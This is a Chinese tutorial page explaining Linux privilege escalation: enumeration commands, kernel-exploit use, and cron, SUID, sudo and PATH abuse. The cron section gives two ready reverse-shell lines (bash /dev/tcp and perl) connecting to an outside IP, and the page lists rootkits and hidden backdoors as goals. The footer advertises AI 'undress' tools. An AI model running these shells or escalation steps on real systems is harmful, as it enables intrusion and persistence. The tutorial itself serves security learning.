提权指的是低权限用户利用各种合法的或非法的手段获取到了高于本用户的系统权限;Linux提权一般是指获取root用户权限的操作过程。Linux提权的本质一方面是信息收集,另一方面是对内核漏洞的掌握情况;提权是否成功的关键是信息收集是否完整。
本教程操作环境:linux7.3系统、Dell G3电脑。
linux提权概念介绍
提权是什么
提权指的是低权限用户利用各种合法的或非法的手段获取到了高于本用户的系统权限。
详细来说,就是指利用操作系统或应用软件中的程序漏洞、设计缺陷或配置疏忽来获取对应用程序或用户来说受保护资源的高级访问权限。其结果是,应用程序可以获取比应用程序开发者或系统管理员预期的更高的特权,从而可以执行授权的动作。
Linux提权一般是指获取root用户权限的操作过程。
Linux提权目的
提权操作有风险为什么还要进行提权?什么情况下需要进行提权?获取高权限之后可以做什么?
通过命令执行漏洞获取的一个反弹shell或是通过Web漏洞获取了一个Webshell后,一般情况下权限都较低。在执行一些重要敏感的操作或是对重要的文件进行修改时无法正常进行,便需要进行提权。Linux中安装的数据库、中间件等一般都不是以root用户启动的,通过数据库或是中间件获取到的权限是是低权限的。
获取一个root权限是每一个黑客的梦想。
- 读取写入服务器中的重要文件:
- 修改root密码
- 替换系统命令
- 在系统中放置更为隐蔽的后门:
- ping后门
- Rootkit
- 保证服务器重启之后权限仍在:
- 内存后门
Linux提权本质
Linux提权的本质一方面是信息收集,另一方面是对内核漏洞的掌握情况。
Linux信息收集
任何提权的第一步操作一定是对操作系统进行信息收集。提权是否成功的关键是信息收集是否完整。
-
内核设备信息:
- uname -a 打印所有可用的系统信息
- uname -r 内核版本
- uname -n 系统主机名。
- uname -m 查看系统内核架构(64位/32位)
- hostname 系统主机名
- cat /proc/version 内核信息
- cat /etc/*-release 分发信息
- cat /etc/issue 分发信息
- cat /proc/cpuinfo CPU信息
-
用户和群组信息:
- cat /etc/passwd 列出系统上的所有用户
- cat /etc/group 列出系统上的所有组
- grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' 列出所有的超级用户账户
- whoami 查看当前用户
- w 谁目前已登录,他们正在做什么
- last 最后登录用户的列表
- lastlog 所有用户上次登录的信息
- lastlog -u %username% 有关指定用户上次登录的信息
- lastlog |grep -v "Never" 以前登录用户的信息
-
用户和权限信息:
- whoami 当前用户名
- id 当前用户信息
- cat /etc/sudoers 谁被允许以root身份执行
- sudo -l 当前用户可以以root身份执行操作
-
环境系统变量信息:
- env 显示环境变量
- set 现实环境变量
- echo %PATH 路径信息
- history 显示当前用户的历史命令记录
- pwd 输出工作目录
- cat /etc/profile 显示默认系统变量
- cat /etc/shells 显示可用的shell
内核漏洞提权
内核漏洞提权指的是普通用户访问操作系统内核,利用内核漏洞将权限提高为root权限,一般首先需要知晓操作系统的内核,内核的版本等信息,再寻找内核漏洞的EXP进行提权
linux常用查看系统信息命令 uname -a 查看系统全部信息 uname -r 查看内核版本 cat /proc/version 查看内核信息 cat /etc/*-realease 查看CentOS版本 cat /etc/issue 查看Ubuntu版本 cat /etc/redhat-release 查看RedHat版本 env 查看环境变量 echo $PATH 查看当前环境变量 awk -F: '($3==0){print $1}' /etc/passwd 查找UID为0的用户 find / -user root -perm -4000 -exec ls -ldb {} \; 查找设置了SUID的文件
1)查看系统的内核版本
2)使用kali的searchsploit寻找对应的内核漏洞或网上寻找相应的内核漏洞
3)使用gcc将C语言程序编译成可执行文件,上传至靶机,执行即可提权至root权限
Linux其他提权方法
1、计划任务提权
利用原理:
- 当 /bin/sh指向/bin/dash的时候(ubuntu默认这样,当前的靶机也是这样),反弹shell用bash的话得这样弹: * * * * * root bash -c "bash -i >&/dev/tcp/106.13.124.93/2333 0>&1"
这样弹shell的时候不知道为什么很慢,耐心等等 - */1 * * * * root perl -e 'use Socket;\(i="106.13.124.93";\)p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in(\(p,inet_aton(\)i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
2、利用SUID提权
SUID概念:SUID(设置用户ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。SUID可以让调用者以文件拥有者的身份运行该文件,所以我们利用SUID提权的思路就是运行root用户所拥有的SUID的文件,那么我们运行该文件的时候就得获得root用户的身份了。那么,为什么要给Linux二进制文件设置这种权限呢?其实原因有很多,例如,程序ping需要root权限才能打开网络套接字,但执行该程序的用户通常都是由普通用户,来验证与其他主机的连通性。
SUID提权:什么是suid提权呢?一个文件,它有s标志,并且他输入root,那么我们运行这个程序就可以有了root的权限,并且这个程序还得能执行命令,那么我们就能从普通用户提升到了root权限了。
-
在本地查找符合条件的文件。
- find / -user root -perm -4000 -print 2>/dev/null
- find / -perm -u=s -type f 2>/dev/null
- find / -user root -perm -4000 -exec ls -ldb {} ;
-
常见的可以提权的程序
- nmap vim find Bash More Less Nano cp netcat
3、利用SUDO提权
Linux系统中可以使用sudo执行一个只有root才能执行的命令,配置文件保存在/etc/sudoers,sudo -l可以列出当前用户支持sudo的命令。
尽量从代码层面进行对漏洞的分析。
4、环境变量提权
-
查看当前环境变量:
- echo $PATH
5、root权限运行的服务
- 以root的运行的服务,其中包括第三方软件都可以进行提权。
相关推荐:《Linux视频教程》
以上是linux提权是什么意思的详细内容。更多信息请关注PHP中文网其他相关文章!

使用Linux维护模式的时机和原因:1)系统启动问题时,2)进行重大系统更新或升级时,3)执行文件系统维护时。维护模式提供安全、控制的环境,确保操作的安全性和效率,减少对用户的影响,并增强系统的安全性。

Linux中不可或缺的命令包括:1.ls:列出目录内容;2.cd:改变工作目录;3.mkdir:创建新目录;4.rm:删除文件或目录;5.cp:复制文件或目录;6.mv:移动或重命名文件或目录。这些命令通过与内核交互执行操作,帮助用户高效管理文件和系统。

在Linux中,文件和目录管理使用ls、cd、mkdir、rm、cp、mv命令,权限管理使用chmod、chown、chgrp命令。1.文件和目录管理命令如ls-l列出详细信息,mkdir-p递归创建目录。2.权限管理命令如chmod755file设置文件权限,chownuserfile改变文件所有者,chgrpgroupfile改变文件所属组。这些命令基于文件系统结构和用户、组系统,通过系统调用和元数据实现操作和控制。

MaintenancemodeInuxisAspecialBootenvironmentforforcalsystemmaintenancetasks.itallowsadMinistratorStoperFormTaskSlikerSettingPassingPassingPasswords,RepairingFilesystems,andRecoveringFrombootFailuresFailuresFailuresInamInimAlenimalenimalenrenmentrent.ToEnterMainterMainterMaintErmaintErmaintEncemememodeBoode,Interlecttheboo

Linux的核心组件包括内核、文件系统、Shell、用户空间与内核空间、设备驱动程序以及性能优化和最佳实践。1)内核是系统的核心,管理硬件、内存和进程。2)文件系统组织数据,支持多种类型如ext4、Btrfs和XFS。3)Shell是用户与系统交互的命令中心,支持脚本编写。4)用户空间与内核空间分离,确保系统稳定性。5)设备驱动程序连接硬件与操作系统。6)性能优化包括调整系统配置和遵循最佳实践。

Linux系统的五个基本组件是:1.内核,2.系统库,3.系统实用程序,4.图形用户界面,5.应用程序。内核管理硬件资源,系统库提供预编译函数,系统实用程序用于系统管理,GUI提供可视化交互,应用程序利用这些组件实现功能。

Linux的维护模式可以通过GRUB菜单进入,具体步骤为:1)在GRUB菜单中选择内核并按'e'编辑,2)在'linux'行末添加'single'或'1',3)按Ctrl X启动。维护模式提供了一个安全环境,适用于系统修复、重置密码和系统升级等任务。

进入Linux恢复模式的步骤是:1.重启系统并按特定键进入GRUB菜单;2.选择带有(recoverymode)的选项;3.在恢复模式菜单中选择操作,如fsck或root。恢复模式允许你以单用户模式启动系统,进行文件系统检查和修复、编辑配置文件等操作,帮助解决系统问题。


热AI工具

Undresser.AI Undress
人工智能驱动的应用程序,用于创建逼真的裸体照片

AI Clothes Remover
用于从照片中去除衣服的在线人工智能工具。

Undress AI Tool
免费脱衣服图片

Clothoff.io
AI脱衣机

Video Face Swap
使用我们完全免费的人工智能换脸工具轻松在任何视频中换脸!

热门文章

热工具

安全考试浏览器
Safe Exam Browser是一个安全的浏览器环境,用于安全地进行在线考试。该软件将任何计算机变成一个安全的工作站。它控制对任何实用工具的访问,并防止学生使用未经授权的资源。

PhpStorm Mac 版本
最新(2018.2.1 )专业的PHP集成开发工具

MinGW - 适用于 Windows 的极简 GNU
这个项目正在迁移到osdn.net/projects/mingw的过程中,你可以继续在那里关注我们。MinGW:GNU编译器集合(GCC)的本地Windows移植版本,可自由分发的导入库和用于构建本地Windows应用程序的头文件;包括对MSVC运行时的扩展,以支持C99功能。MinGW的所有软件都可以在64位Windows平台上运行。

螳螂BT
Mantis是一个易于部署的基于Web的缺陷跟踪工具,用于帮助产品缺陷跟踪。它需要PHP、MySQL和一个Web服务器。请查看我们的演示和托管服务。

VSCode Windows 64位 下载
微软推出的免费、功能强大的一款IDE编辑器